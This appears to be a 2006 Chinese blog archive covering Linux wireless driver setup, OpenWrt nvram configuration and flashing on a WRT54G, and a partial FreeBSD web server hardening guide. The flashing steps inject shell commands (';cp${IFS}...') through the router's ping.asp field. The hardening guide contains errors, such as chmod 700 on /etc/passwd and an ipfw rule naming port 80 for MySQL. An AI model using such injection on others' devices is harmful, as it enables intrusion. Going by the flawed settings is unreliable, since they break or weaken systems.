Archive for 2006年4月2日


linux下无线网卡安装的关键在于能否正确的驱动,这里介绍两种方案,即通过ndiswrapper或者linux-wlan-ng。
前者在linux平台上虚拟windows的api,然后用windows下的驱动程序来驱动网卡。而后者直接实现驱动程序。

1. ndiswrapper
参考http://ndiswrapper.sourceforge.net/mediawiki/index.php/Installation

1.1 准备工作
– 安装kernel的源码,在Redhat下是kernel-source.rpm包。

– 到http://sourceforge.net/projects/ndiswrapper下载最新的ndiswrapper包,解压。

– 准备好网卡在win下的驱动程序。驱动程序最好是最新的,指定给XP用的。这里我用到的是
linksys的一款USB-Wlan卡。其驱动程序为WUSB54AG.inf和WUSB54AG.sys。

1.2 安装
– 首先编译安装ndiswrapper,直接使用

make install

即可。

– 再来是添加驱动程序,切换到存放驱动程序的目录,执行

ndiswrapper -i WUSB54AG.inf

通过

ndiswrapper -l

查看有那些驱动已经被安装。

1.3 加载
ndiswrapper是被编译成内核的一个模块,所以你需要加载它才能起作用。

ndiswrapper -m

只需执行一次。

modprobe ndiswrapper

如果没有错误提示,则可以通过iwconfig看到wlan0设备。但此时还不能确定网卡是否被正确驱动。
必须通过

iwlist wlan0 scan

试一试,看能否搜索到附近存在的Access Point。如果能找到才说明网卡已经成功驱动,可以使用了。

接下来的配置工作同普通网卡类似,不再复述。

2. linux-wlan-ng
参考ftp://ftp.linux-wlan.org/pub/linux-wlan-ng/README

2.1 准备
到ftp.linux-wlan.org/pub/linux-wlan-ng下载最新的包,解压。

2.2 编译安装
很简单,直接make all, make install。

2.3 加载
加载方式依你使用的网卡类型有所不同,具体可以参考附带的README文档。
这里因为用的是USB网卡,所以按照要求执行

modprobe prism2_usb prism2_doreset=1
wlanctl-ng wlan0 lnxreq_ifstate ifstate=enable

同样可以通过iwlist wlan0 scan测试是否成功安装。

1. WRT54G 的网络概况

下面是 WRT54G 的内部结构示意图:

WRT54G由包括LAN,WAN,WIFI 等 3 部份组成,相等于图中的vlan0,vlan1,eth0。

当你安装好 OpenWrt 后,NVRAM 里的默认配置是这样的:

lan_ifname=br0
lan_ifnames=”vlan0 eth1″
lan_proto=static
lan_ipaddr=192.168.1.1
lan_netmask=255.255.255.0

wan_ifname=vlan1
wan_proto=dhcp

第 1 项 lan_ifname=br0 是指 LAN 的网络介面名称;
第 2 项 lan_ifnames=”vlan0 eth1″ 是指实际上 LAN 的真正网络介面,这里包括 vlan0(Port 1-4) 和 eth1 (无线网卡接口) ;
第 3 项 lan_proto=static 是指 LAN 用固定 IP 方式;
第 4 项 lan_ipaddr=192.168.1.1 指定了 LAN 的 IP 是 192.168.1.1;
第 5 项 lan_netmask=255.255.255.0 指定了 LAN 的子网络掩码;

第 6 项 wan_ifname=vlan1 指定了 WAN 的网络为 vlan1 (Port 0);
第 7 项 wan_proto=dhcp 指定了 WAN 的网络方式为 DHCP;

2. 配置 Lan 网络参数
假设我想修改路由器的 TCP/IP 设定为:

IP: 192.168.0.1
掩码: 255.255.255.0
网关: 192.168.0.254
DNS1: 192.168.0.254
DNS2: 202.14.67.4

并打开 DHCP 服务,IP 范围由 192.168.0.100 至 192.168.0.150;可以执行以下命令:

nvram set lan_proto=static
nvram set lan_ipaddr=192.168.0.1
nvram set lan_netmask=255.255.255.0
nvram set lan_gateway=192.168.0.254
nvram set lan_dns=’192.168.0.254 202.14.67.4′

nvram set dhcp_start=100
nvram set dhcp_num=50
nvram commit
reboot

第 1 项 nvram set lan_proto=static 是指 LAN 的网络方式为固定 IP
第 2 项 nvram set lan_ipaddr=192.168.0.1 是指定 LAN 的 IP 地址为 192.168.0.1
第 3 项 nvram set lan_netmask=255.255.255.0 是指定 LAN 的子网络掩码为 255.255.255.0
第 4 项 nvram set lan_gateway=192.168.0.254 是指定 LAN 的网关为 192.168.0.254
第 5 项 nvram set lan_dns=’192.168.0.254 202.14.67.4′ 是指定 LAN 使的 DNS 服务器,由于DNS服务器有 2 个,所以用空格来分开。

第 6 项 nvram set dhcp_start=100 是指 DHCP 服务器从 192.168.0.100 开始派发 IP
第 7 项 nvram set dhcp_num=50 是指 DHCP 从 192.168.0.100 开始 派发到 192.168.0.150 (100+50) 为止。

3. 设定WAN
一般常见的上网方式有3种: DHCP, PPPOE 拨号上网 及 STATIC IP(固定 IP)

2.1 DHCP
DHCP很简单,你只需告诉路由器用DHCP来上网,它便会替你自动取得IP,网络掩码,网关,DNS等资料

nvram set wan_proto=dhcp
nvram commit
reboot

2.2 固定 IP
很多商用宽带都是使用固定 IP,ISP 会提供 IP 地址(第2项),子网络掩码(第3项),网关(第4项)及DNS(第5项)资料,DNS如果超过一个的话用空格分开。

nvram set wan_proto=static
nvram set wan_ipaddr=218.103.124.24
nvram set wan_netmask=255.255.255.252
nvram set wan_gateway=218.103.124.23
nvram set wan_dns=’210.80.60.1 210.80.60.2′
nvram commit
reboot

2.3 PPPOE
PPPOE 在家用宽带是很常见的,ISP会提供 用户名及密码,你只需把下面第5和第6项换成相应的用户名及密码就可以用PPPOE上网了。

nvram set wan_ifname=ppp0
nvram set wan_proto=pppoe
nvram set ppp_mtu=1492
nvram set pppoe_ifname=vlan1
nvram set ppp_username=your_isp_login
nvram set ppp_passwd=your_isp_password
nvram commit
reboot

第 1 项 nvram set wan_ifname=ppp0 是指 WAN 使用 ppp0 网络介面来拨号上网
第 2 项 nvram set wan_proto=pppoe 是指 WAN 使用 PPPOE 的方式上网
第 3 项 nvram set ppp_mtu=1492 指定 MTU 为 1492
第 4 项 nvram set pppoe_ifname=vlan1 指 PPPOE 拨号的介面是 vlan1
第 5 项 nvram set ppp_username=your_isp_login 指定PPPOE 的用户名是 your_isp_login
第 6 项 nvram set ppp_passwd=your_isp_password 指定了 PPPOE 的密码是 your_isp_password

4. 配置无线网络

nvram set wl0_gmode=
nvram set wl0_ssid=
nvram set wl0_channel=
nvram set wl0_closed=
nvram commit
wifi up

关闭 WEP 和 WPA

nvram set wl0_wep=disabled
nvram set wl0_akm=open

开启WEP

nvram set wl0_wep=
nvram set wl0_wep_bit=
nvram set wl0_key=
nvram set wl0_key1=
nvram set wl0_key2=
nvram set wl0_key3=
nvram set wl0_key4=
nvram set security_mode_last=wep
nvram commit
ifdown wifi
ifup wifi

WPA

nvram unset wl0_auth_mode
nvram set wl0_akm=psk
nvram set wl0_crypto=
nvram set wl0_wpa_psk=
nvram set wl0_radius_key=
nvram set wl0_radius_ipaddr=
nvram set wl0_radius_port=
nvram set security_mode_last=wpa
nvram commit

无线网络 – MAC Filter

nvram set wl0_macmode=allow
nvram set wl0_mac_list=
nvram set wl0_mac_deny=
nvram commit
wifi up

5. 加强 OpenWrt 的安全性
我认为没有密码和使用 Telnet 是不安全的,OpenWrt 在设定密码后会把 Telnet 关闭,改用 SSH 服务

passwd

NVRAM 全名是 Non-Volatile Ram ,在 OpenWrt 里是用了 Flash Rom 最后的 64K 区块,用来储存一些环境参数,OpenWrt 通过这些参数来配置网络,DHCP,DNS和记载硬件版本等。

常用的 nvram 指令有以下 4 种:

1. nvram show
列出 NVRAM 内所有参数,我们亦可以用 grep 命令来抽取部份资讯,例如

nvram show | grep lan_

这命令列出了所以用 lan_ 开头的参数,结果如下:

lan_gateway=192.168.1.254
dr_lan_rx=0
lan_netmask=255.255.255.0
lan_lease=86400
lan_stp=1
lan_hwaddr=00:12:17:E1:56:F5
lan_dns=211.152.179.7 202.96.128.86
lan_ifnames=vlan0 eth1
size: 12567 bytes (20201 left)
lan_ipaddr=192.168.1.1
lan_proto=static
lan_ifname=br0
lan_wins=
lan_hwnames=

2. nvram set 参数=数值
用来添加或修改一些参数,例如我想把 LAN 的 IP 由 192.168.1.1 改为 192.168.1.2,可执行:

nvram set lan_ipaddr=192.168.1.2
nvram commit
reboot

第 1 行是修改 IP 地址,第 2 行是保存,第 3 行是重新启动 OpenWrt ,因为更改 IP 地址后要重启才能生效。

3. nvram unset 参数
用来删除一些参数,不过这个功能很少用到,因为 NVRAM 的 64K 容量足够保存大量参数,大部份人都赖得去删。
例如我想删除 “dr_lan_rx=0” 这个参数,请执行:

nvram unset dr_lan_rx

4. nvram commit
当你对 NVRAM 做了一大堆修改后,你需要把这些修改保存起来,否则你的路由器 RESET 后,这些修改便没有了,和上面一样,这时你要执行:

nvram commit

安装 OpenWrt

在安装 OpenWrt 之前,首先你要知道你所使用的无线路由器 OpenWrt 是否支持,在 OpenWrt 的网页上提供了一个路由器列表,地址是:
http://wiki.openwrt.org/TableOfHardware

当中最多人使用的是 Linksys WRT54G/GS 和 ASUS WL-500G,相关的文档也较多,Linksys在前面已经介绍过,我在这里不再重复了,其次是 ASUS WL-500G, 原因是它在市面容易找到,而且支持 USB,即使价钱比一般的无线路由器贵1百多元,也相当值得,有了USB,你可以接上一个掫像头,移动盘,硬盘和打印机等设备。接下来我会说明 OpenWrt 在 WRT54G上的安装过程。

首先,到 OpenWrt 下载 Firmware,地址是:

http://downloads.openwrt.org/whiterussian/rc4/bin/

OpenWrt 提供很多版本的 Firmware下载,例如 openwrt-brcm-2.4-jffs2-4MB.trx,其中brcm是通用版本,如果你ASUS的路由器就属于这类;2.4是所使用的 Kernel版本;jffs2是文件系统,文件系统有2种,jffs2是可读写的,没有压缩,文件较大,squashfs是只读的,由于是压缩文件系统,这意味着在相同大小的 Flash Rom 你可以安装更多软件;4MB是 Flash Rom 大小,这根据你使用的路由器版本而定,请参考刚才的路由器列表。下面是现时 OpenWrt提供的 Firmware:

[ ] openwrt-brcm-2.4-jffs2-4MB.trx 14-Sep-2005 19:21 2.1M
[ ] openwrt-brcm-2.4-jffs2-8MB.trx 14-Sep-2005 19:21 2.1M
[ ] openwrt-brcm-2.4-squashfs.trx 14-Sep-2005 19:21 1.5M
[ ] openwrt-motorola-jffs2-4MB.bin 14-Sep-2005 19:21 2.1M
[ ] openwrt-motorola-jffs2-8MB.bin 14-Sep-2005 19:21 2.1M
[ ] openwrt-motorola-squashfs.bin 14-Sep-2005 19:21 1.5M
[ ] openwrt-wrt54g-jffs2.bin 14-Sep-2005 19:21 2.1M
[ ] openwrt-wrt54g-squashfs.bin 14-Sep-2005 19:21 1.5M
[ ] openwrt-wrt54gs-jffs2.bin 14-Sep-2005 19:21 2.1M
[ ] openwrt-wrt54gs-squashfs.bin 14-Sep-2005 19:21 1.5M
[ ] openwrt-wrt54gs_v4-jffs2.bin 14-Sep-2005 19:21 2.1M
[ ] openwrt-wrt54gs_v4-squashfs.bin 14-Sep-2005 19:21 1.5M

我用的是WRT54G v2.2版,所以我下载了 openwrt-wrt54gs-jffs2.bin,有了这文件后,我可以开始设定我的路由器了。WRT54G 默认的 IP 是 192.168.1.1,在接上你的电脑之前,你要更改你电脑的网络设定,把你电脑改为固定IP,IP是192.168.1.xxx,掩码是 255.255.255.0。然后用网络线把你的电脑和 WRT54G 其中一个 LAN 接口连起来,这时候你可以在 DOS PROMPT 中输入 “ping 192.168.1.1” 这命令,如果有回应的话就证明连线没有问题,如果出现 “Request Time Out” ,请检查一下你的防火墙和网线有没有问题(不要忘了为WRT54G接上电源)。

安装 OpenWrt 有几种方法,在不拆开路由器的情况下,最简单的方法是利用TFTP 软件,把整个 OpenWrt Firmware 更新到 WRT54G 的 Flash Rom里,
现在请打开你的浏览器,在网址一栏输入“http://192.168.1.1”,这时候应该会出现一个登入画面,用户和密码都是“admin”,如果你的路由器是新买回来的话,请先把WAN设定好,你可以随便给一个固定IP,但不要设定DHCP,因为如果WAN接口没有连线而且没有IP的话,接下来我们的PING工具将无法使用,我们会利用“PING”工具的一个小BUG,更改 WRT54G 的 BOOTWAIT 设定,让我们可以把 Firmware上传到TFTP服务器。操作如下:


1.
打开 ping工具,“administration” –> “diagnostics” –> “Ping”,又或者在网址一栏输入 “192.168.1.1/ping.asp”

2. 在 “IP Address”一栏中,顺序输入下面4行指令,每输入一行就按一下“PING”按钮:

;cp${IFS}*/*/nvram${IFS}/tmp/n
;*/n${IFS}set${IFS}boot_wait=on
;*/n${IFS}commit
;*/n${IFS}show>tmp/ping.log

当最后一行输入后,你会看到一堆文字,如果你看到其中一行是“boot_wait=on”的话,你可以继续下一步了。

3. 把你的 WRT54G 电源拔出来,然后准备好刚才的 Firmware,在Windows的DOS PROMPT,输入这条命令,但不要按 “ENTER”:

tftp -i 192.168.1.1 PUT C:openwrt-wrt54gs-jffs2.bin

*这里,我把openwrt-wrt54gs-jffs2.bin放在 C: ,如果你放在别的位置,请按你的情况更改

4. 一边接上 WRT54G 的电源,同时另一边按 “ENTER” ,如果成功的话,你会看见 WRT54G上 的 DMZ 灯不停闪动,而且画面会出现类似下面的讯息:

Transfer successful: 1537024 bytes in 6 seconds, 256170 bytes/s

5. 等待 2-3 分钟后,DMZ 灯会停止闪动,这时执行 “telnet 192.168.1.1”,如果出现 OpenWrt 的欢迎画面,代表你安装成功了。

Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

BusyBox v1.00 (2004.12.24-03:19+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M

root@OpenWrt:/#

::目录::

序言

一、系统和服务程序的安装
1. 系统安装
2. 服务程序安装

二、系统安全设置
1. 用户控制
2. 文件访问控制
3. 系统服务和端口控制
4. 日志管理和控制
5. 文件指纹检测
6. 系统指纹泄露和防范
7. 系统内核安全
8. 系统安全优化

三、服务程序的安全设置
1. Apache安全设置
2. PHP安全设置
3. Mysql安全设置
4. vsFTPd安全设置
5. SSH的安全设置

四、防火墙的安装和设置
1. 安装ipfw
2. 配置ipfw

五、Unix/Linux上的后门技术和防范
1. 帐号后门
2. shell后门
3. cron服务后门
4. rhosts后门
5. Login后门
6. Bind后门
7. 服务后门
8. rootkit后门
9. 内核后门
10. 其他后门

六、结束语

附录

序言

在我们跑Web服务器的时候,大家可能都会一致认为使用Linux+Mysql+Apache+PHP整个开源的系统是比较好的选择,但是我个人认为这是不合理的,首先要根据你的应用来觉得你使用什么服务。假如你需要跑Oracle等大型应用的话,而且Oracle在Linux下是支持的比较好的,那么使用Linux是个好的选择,因为在FreeBSD下安装Oracle是个非常麻烦的事情。那么如果是跑普通的网站应用的话,我觉得使用FreeBSD+Mysql+Apache+PHP是个好的选择,因为对于一个网站来讲,稳定安全是第一位的,否则你的网站什么时候被人修改了都不知道怎么回事,或者被黑客入侵,把数据修改或者删除,那就糟糕了,毕竟现在什么红客、黑客的一堆,不能不防。当然,不是说Linux不安全,但是在Linux下集成了很多不安全的程序,导致了它的不安全,但如果设置的好,Linux一样可以很安全。在中国网络应急响应中心(http://www.cert.org.cn)这几个月的数据来看,每个月被入侵成功最高的是Linux系统,占百分之六十多,然后过来是Windows系统,占百分之三十多,而FreeBSD的入侵比例是百分之几。

任何系统都可以很安全,也可以很不安全,关键是管理员怎么做的,世界上没有最安全的系统,只有更安全的系统。下面的文章就是
在FreeBSD平台上构建一个比较安全的Web服务器,希望对网管和网络安全爱好者能有一些启发,权当抛砖引玉,希望能够有更好阐述的文章。

一、系统和服务程序的安装

1. 系统安装

为了保证系统的安全,我们系统准备采用最新的FreeBSD版本,首先是安全,系统兼容性也比较好,这个主要是个人习惯和需求,为了简单起见,这里我们选用了最新的FreeBSd5.3版本进行安装。整个安装过程我就不讲了,如果不清楚的朋友可以参考FreeBSD中文手册(http://www.freebsd.org.cn),整个过程不是很复杂,虽然没有Windows/Linux的系统安全简单,但是比起有些Unix的安装来讲是人性许多的。安装中必须把基本包和内核源代码都装上,为了以后编译内核方便,如果另外,如果喜欢使用ports安装软件的话,还要把ports装上,但是尽量一些没有必要的程序不要装。如果要安装Webmin等,还要把perl等包装上。系统文件拷贝完以后,会要求配置一些设置,比如把IP地址、名字服务器等设好,不要打开IPv6,不需要DHCP等服务,不要系统默认的FTP服务,配置 /etc/inetd.conf 时把SSH服务打开,方便我们进行远程管理,如果不想使用inetd这个超级服务来管理的话,可以关闭它,在/etc/rc.conf中添加inetd_enable="NO",然后设置sshd_enable="YES"一样可以打开SSH服务,后面我们会详细谈到SSH的设置。

系统装完后,在 /etc/inetd.conf 中把除了ssh之外的服务全部关闭,特别是telnet和rlogin等服务,一定要慎重,否则很可能每几天系统就被入侵了。安装完系统后,建议对系统进行升级,比如使用 make world 或 cvsup 把系统内核和ports进行升级。这个步骤和Windows装完后打补丁差不多。

2. 服务程序安装

系统装完以后,就开始安装我们的应用软件,我们的方针还是最新的软件是最安全的,比如能够防止一些老版本中的溢出等等。我们基本就是要让我们的系统有数据库,同时能够处理Web服务,同时能够远程对网站进行文件管理的FTP服务。我们基本选择的程序都是比较通常的程序。另外,为了有个可视化的管理工具,我们同时也可以安装一个基于浏览器的管理工具Webmin,方便没有ssh客户端等等的时候进行管理。

首先我们选用的Web服务是Apache httpd 2.0.53,这是目前的最新版本,当然你也可以考虑1.3的版本,主要是看个人习惯。我们网站是PHP程序编写,所以要安装PHP,版本是4.3.11,也是最新的版本,如果你的网站程序需要PHP5的支持,那么可以下载php5.0.4。数据库还是最快速的Mysql,选择的版本是最新的 4.0.23,如果你需要外键、事务、子查询、存储过程等的支持,那么你可以考虑4.1和5.0的版本。最后我们的FTP选择最安全的vsFTPd,因为它是最安全快速的,我在局域网中测试它的最高创数速率能够达到10MB/S,proFTPd只有8MB/S,vsFTPd针对小型FTP服务器支持非常好,毕竟我用户不多,几个更新网站而已,当然,如果你喜欢简单方便,也可以考虑使用FreeBSD自带的FTPd,功能和易用性也是不错的。如果你用户比较多,并且功能要求比较高,建议使用proFTPd、pure-FTPd、wu-FTPd等,但有些FTPd不是非常安全,选择时候一定要慎重考虑。

服务器程序列表:
Apache 2.0.53 下载地址:http://httpd.apache.org
PHP 4.3.11 下载地址:http://www.php.net
Mysql 4.0.23 下载地址:http://dev.mysql.com
vsFTPd 2.0.2 下载地址:http://vsftpd.beasts.org

反正最少的服务+最少的端口+安全的设置 = 最大的安全,尽量能够不需要使用的服务就不要安装,比如telnetd、rlogind等,那么相反会对服务器安全构成威胁。

安装以上程序你可以采用手工编译安装,也可以采用FreeBSD的ports 来进行安装,这看个人爱好,我个人比较喜欢使用手工安装,如果不明白具体安装的朋友可以参考我的Blog上关于安装Apache+PHP+Mysql的方法。

二、系统安全设置

1. 用户控制

尽量少的用户,我们的FTP帐户是和系统帐户绑定在一起的,所以我们添加用户的时候先建立一个目录,然后把新建的用户主目录指向到该目录下。假设我需要一个用户能够管理我的网站,而我网站的目录是在 /usr/www 目录下,那么我们新建立的用户 www_user 的主目录就指向 /usr/www 目录,同时它的shell是没有的:/usr/sbin/nologin ,主要是为了防止它通过ssh登陆到系统。同时FTP的密码也要设置的非常复杂,防止黑客通过暴力破解获得FTP权限。另外还要说道我们的root用户的密码,我想最少应该不要少于10位的数字+字母+字符的密码(我的密码是18位),否则是非常不安全的,如果密码简单,那么黑客通过短时间的暴力破解SSH中的root帐户,不用几天,系统就可能被攻破了,同时也建议最少一个月更改一次root用户的密码。(强烈建议一般帐户不要有登陆系统的权限,就是把shell设为/usr/sbin/nologin)
一般如果要使用root权限建议建立一个属于wheel组的小用户,然后登陆后通过su命令提升为root用户进行管理,如果黑客通过破解了我们普通用户的权限后登陆系统,也不能直接通过root权限进行管理,这是一种安全防范的简单方法。

2. 文件访问控制

有时候被黑客入侵后拿到了小权限用户,比如传了一个WebShell到系统中,那么对方很可能会把 /etc/passwd 等内容直接读取出来,同时查看/etc/master.passwd中对加密后的root用户的密码hash进行破解,最后拿到密码进行登陆系统。那么我们就要控制部分文件只有root能够访问,其他用户无权访问。比如uname,gcc等,如果黑客拿到小权限用户后就会查看系统版本,然后找到该版本系统对应的溢出程序,使用gcc来进行编译,如果我们能够限制黑客访问uname和gcc等程序,能在一定程度上减缓黑客入侵的脚步。
使用chmod来改变某个文件的权限信息,比如我要 /etc/passwd 和 /etc/master.passwd 文件只能允许root访问:
使用八进制数字来设置
# chmod 700 /etc/passwd
# chmod 700 /etc/master.passwd
使用字符标记来进行设置
# chmod u+w+r+x,go-w-r-x /etc/passwd
# chmod u+w+r+x,go-w-r-x /etc/master.passwd
系统中有多个重要文件需要设置控制访问权限,一定要控制好,否则将会构成重要威胁。

3. 系统服务和端口控制

端口开的越多就越给黑客多一个入侵的机会,服务越多,危险越大,因为你不知道那些服务是不是有潜在的漏洞或者又发现了新的漏洞,所以尽量少的服务,比如sendmail默认是打开的,那么些建议你把sendmail关闭,关闭防范是在 /etc/rc.conf中加上:
sendmail_enable = "NONE",如果设为"NO"那么只能够关闭掉pop3服务,不能关闭smtp的服务,所以要设置为"NONE"。
系统中最好除了我们能够看到的Apache、Mysql、vsFTPd、SSH之外不要打开其他任何端口和服务。基本的方式是使用netstat -a 查看打开的端口,然后从对应的端口来找相关的服务,比如我们这里应该只允许开的端口有 21, 22, 80, 3306等,如果有其他端口,那么一定要仔细检查,很可能是黑客的后门或者是会对系统安全构成威胁的服务。同时有些服务不需要监听网络连接的话,只是需要本地的连接,比如Mysql,那么就可以关闭Socket监听,这个将在Mysql安全设置中讲解,另外,可以通过防火墙来控制部分端口访问和连接状况,比如Mysql的3306端口只允许192.168.0.1访问,那么我们就在ipfw里添加规则:
ipfw add 10001 allow tcp from 192.168.0.1 to 10.10.10.1 80 in
这样就能够防止黑客来访问服务器上的Mysql服务。具体防火墙的设置将在下面“防火墙设置”中详细讲解。

4. 日志管理和控制 (未完)

5. 文件指纹检测

文件指纹就是我们文件的基本信息,比如文件权限、文件所属用户/组、文件最后修改日期、文件大小等等,这些都是重要信息,一般黑客入侵后都可能修改文件,那么文件指纹就不一样了。另外,文件的md5校验值也属于文件的指纹的一种。
为了防止黑客篡改系统中的部分核心文件,比如 /etc/passwd, /etc/shadow, /etc/inetd.conf 等等,那么我们就可以考虑把部分重要文件进行备份,同时做一份目前有的文件的一个指纹保留,比如把 /etc,/bin, /usr/bin 目录下的文件进行指纹保留:
# ls -l /etc > /var/back/etc.txt
# ls -l /bin > /var/back/bin.txt
# ls -l /bin > /var/back/usrbin.txt
当然,还有就是给每个重要的文件加上md5校验值,如果觉得不对劲的时候就进行匹配,保证文件的安全。
你可以给你觉得需要做指纹备份的目录进行备份,一般这是为了以后被黑客入侵后的系统检测和系统恢复。比如可以通过文件被修改的时间来确定是不是被入侵,比如可以对比看 /etc/inetc.conf文件和备份的文件有什么不同来确定是不是安装了服务型后门等。

6. 系统指纹泄漏和防范 (未完)

一般黑客为了入侵某个系统,一定会先进行扫描等工作,扫描包括目标系统的端口开放情况和服务器使用服务程序和操作系统情况。比如很简单的手工检测Web服务的指纹:
# telnet target.com 80
那么就很可能返回Apache和PHP的版本信息,那么同时也可能使用扫描工具对Mysql、vsFTPd、SSH等服务的端口进行扫描,获取这些服务的指纹。多暴露一份系统信息,那么系统就多一份危险。那么解决办法就是把服务器上服务程序的Banner全部修改掉,从而能够迷惑黑客。

下面简单的说一些修改那些服务Banner的方法。

* Apache
修改httpd.conf文件,设置以下选项:
ServerSignature Off
ServerTokens Prod
上面的适用apache1***, apache 2.0这些都是默认 , 不过还是有server=Apache字样, 若要完全去掉需重新編译。
彻底地去掉banner, 修改httpd.h:
Include/httpd.h
Define SERVER_BASEVENDOR "Apache Group"
Define SERVER_PRODUCTVENDOR "Apache"
Define SERVER_BASEVERSION "1.3.27"
后从新编译Apache就能够完全去掉了。

* PHP
在php.ini中设置 expose_php = Off ,那么将无法在 http头信息中看到php的版本信息。

* Mysql

* vsFTPd
vsFTPd基本上是无法获取到一些关于vsFTPd的banner信息的,不过因为vsFTPd默认的banner信息是"Welcome to FTP Server!"对于高手来说,还是能够猜测到一点,所以我们要彻底改掉。修改vsFTPd的配置文件 vsftpd.conf 中的下面选项:
Ftpd_banner=xxxxx
把后面的xxxxx改为你想要的banner信息。

* SSH
好象FreeBSD下默认安装的SSH被telnet target.com 22 的时候会显示SSH和FreeBSD的信息,简直是个大祸害,什么都告诉别人了,但是目前为止我还不知道怎么修改,知道的高手请指点。

7. 系统内核安全

FreeBSD有个比较强的功能,就是能够定义系统内核的安全等级,主要是为了防止内核后门专门定制的,能通过不同的等级限制对内核的访问和对防火墙等的修改。我们首先要开启系统的安全等级,然后设定安全等级,我们打开 /etc/rc.conf:
# ee /etc/rc.conf
加入下面的内容:
kern_securelevel_enable="YES"
kern_securelevel="-1"
第一句是打开安全等级,第二句是定义等级。它一共五个等级,下面说说不同之处。
* kern_securelevel -1:这是系统默认级别,没有提供任何内核的保护错误;
* kern_securelevel  0:基本上作用不多,当你的系统刚启动就是0级别的,当进入多用户模式的时候就自动变成1级了。
* kern_securelevel  1:在这个级别上,有如下几个限制:
a. 不能通过kldload或者kldunload加载或者卸载可加载内核模块;
b. 应用程序不能通过/dev/mem或者/dev/kmem直接写内存;
c. 不能直接往已经装在(mounted)的磁盘写东西,也就是不能格式化磁盘,但是可以通过标准的内核接口执行写操作;
d. 不能启动X-windows,同时不能使用chflags来修改文件属性;
* kern_securelevel  2:在 1 级别的基础上还不能写没装载的磁盘,而且不能在1秒之内制造多次警告,这个是防止DoS控制台的;
* kern_securelevel  3:在 2 级别的级别上不允许修改IPFW防火墙的规则。
如果你已经装了防火墙,并且把规则设好了,不轻易改动,那么建议使用3级别,如果你没有装防火墙,而且还准备装防火墙的话,不建议使用。我们这里推荐使用 2 级别,能够避免比较多对内核攻击。

8. 系统安全优化

一般优化系统主要是重新编译内核,去掉一些不要的驱动等等,你可以参考我在我Blog上写的关于编译内核的文章。我们这里对网络和内核一些选项进行优化和安全设置。编辑 /etc/sysctl.conf 文件,在里面加入如下内容:(有注释)

#最大的待发送TCP数据缓冲区空间
net.inet.tcp.sendspace=65536

#最大的接受TCP缓冲区空间
net.inet.tcp.recvspace=65536

#最大的接受UDP缓冲区大小
net.inet.udp.sendspace=65535

#最大的发送UDP数据缓冲区大小
net.inet.udp.maxdgram=65535

#本地套接字连接的数据发送空间
net.local.stream.sendspace=65535

#加快网络性能的协议
net.inet.tcp.rfc1323=1
net.inet.tcp.rfc1644=1
net.inet.tcp.rfc3042=1
net.inet.tcp.rfc3390=1

#最大的套接字缓冲区
kern.ipc.maxsockbuf=2097152

#系统中允许的最多文件数量
kern.maxfiles=65536

#每个进程能够同时打开的最大文件数量
kern.maxfilesperproc=32768

#当一台计算机发起TCP连接请求时,系统会回应ACK应答数据包。该选项设置是否延迟ACK应答数据包,把它和包含数据的数据包一起发送,在高速网络和低负载的情况下会略微提高性能,但在网络连接较差的时候,对方计算机得不到应答会持续发起连接请求,反而会降低性能。
net.inet.tcp.delayed_ack=0

#屏蔽ICMP重定向功能
net.inet.icmp.drop_redirect=1
net.inet.icmp.log_redirect=1
net.inet.ip.redirect=0
net.inet6.ip6.redirect=0

#防止ICMP广播风暴
net.inet.icmp.bmcastecho=0
net.inet.icmp.maskrepl=0

#限制系统发送ICMP速率
net.inet.icmp.icmplim=100

#安全参数,编译内核的时候加了options TCP_DROP_SYNFIN才可以用
net.inet.icmp.icmplim_output=0
net.inet.tcp.drop_synfin=1

#设置为1会帮助系统清除没有正常断开的TCP连接,这增加了一些网络带宽的使用,但是一些死掉的连接最终能被识别并清除。死的TCP连接是被拨号用户存取的系统的一个特别的问题,因为用户经常断开modem而不正确的关闭活动的连接
net.inet.tcp.always_keepalive=1

#若看到net.inet.ip.intr_queue_drops这个在增加,就要调大net.inet.ip.intr_queue_maxlen,为0最好
net.inet.ip.intr_queue_maxlen=1000

#防止DOS攻击,默认为30000
net.inet.tcp.msl=7500

#接收到一个已经关闭的端口发来的所有包,直接drop,如果设置为1则是只针对TCP包
net.inet.tcp.blackhole=2

#接收到一个已经关闭的端口发来的所有UDP包直接drop
net.inet.udp.blackhole=1

#为网络数据连接时提供缓冲
net.inet.tcp.inflight.enable=1

#如果打开的话每个目标地址一次转发成功以后它的数据都将被记录进路由表和arp数据表,节约路由的计算时间,但会需要大量的内核内存空间来保存路由表
net.inet.ip.fastforwarding=0

#kernel编译打开options POLLING功能,高负载情况下使用低负载不推荐SMP不能和polling一起用
#kern.polling.enable=1

#并发连接数,默认为128,推荐在1024-4096之间,数字越大占用内存也越大
kern.ipc.somaxconn=32768

#禁止用户查看其他用户的进程
security.bsd.see_other_uids=0

#设置kernel安全级别
kern.securelevel=0

#记录下任何TCP连接
net.inet.tcp.log_in_vain=1

#记录下任何UDP连接
net.inet.udp.log_in_vain=1

#防止不正确的udp包的攻击
net.inet.udp.checksum=1

#防止DOS攻击
net.inet.tcp.syncookies=1

#仅为线程提供物理内存支持,需要256兆以上内存
kern.ipc.shm_use_phys=1

# 线程可使用的最大共享内存
kern.ipc.shmmax=67108864

# 最大线程数量
kern.ipc.shmall=32768

# 程序崩溃时不记录
kern.coredump=0

# lo本地数据流接收和发送空间
net.local.stream.recvspace=65536
net.local.dgram.maxdgram=16384
net.local.dgram.recvspace=65536

# 数据包数据段大小,ADSL为1452。
net.inet.tcp.mssdflt=1460

# 为网络数据连接时提供缓冲
net.inet.tcp.inflight_enable=1

# 数据包数据段最小值,ADSL为1452
net.inet.tcp.minmss=1460

# 本地数据最大数量
net.inet.raw.maxdgram=65536

# 本地数据流接收空间
net.inet.raw.recvspace=65536

#ipfw防火墙动态规则数量,默认为4096,增大该值可以防止某些病毒发送大量TCP连接,导致不能建立正常连接
net.inet.ip.fw.dyn_max=65535

#设置ipf防火墙TCP连接空闲保留时间,默认8640000(120小时)
net.inet.ipf.fr_tcpidletimeout=864000

三、 服务程序的安全设置

到这里就是本文的重点所在了,我们将花费比较多的文字进行描述,当然,所以描述不一定是非常正确的,也希望能够对你有一些帮助。我们系统默认是运行了包括Apache、Mysql、vsFTPd,SSH等服务,我们以下进行一一讲解。

1. Apache的安全设置

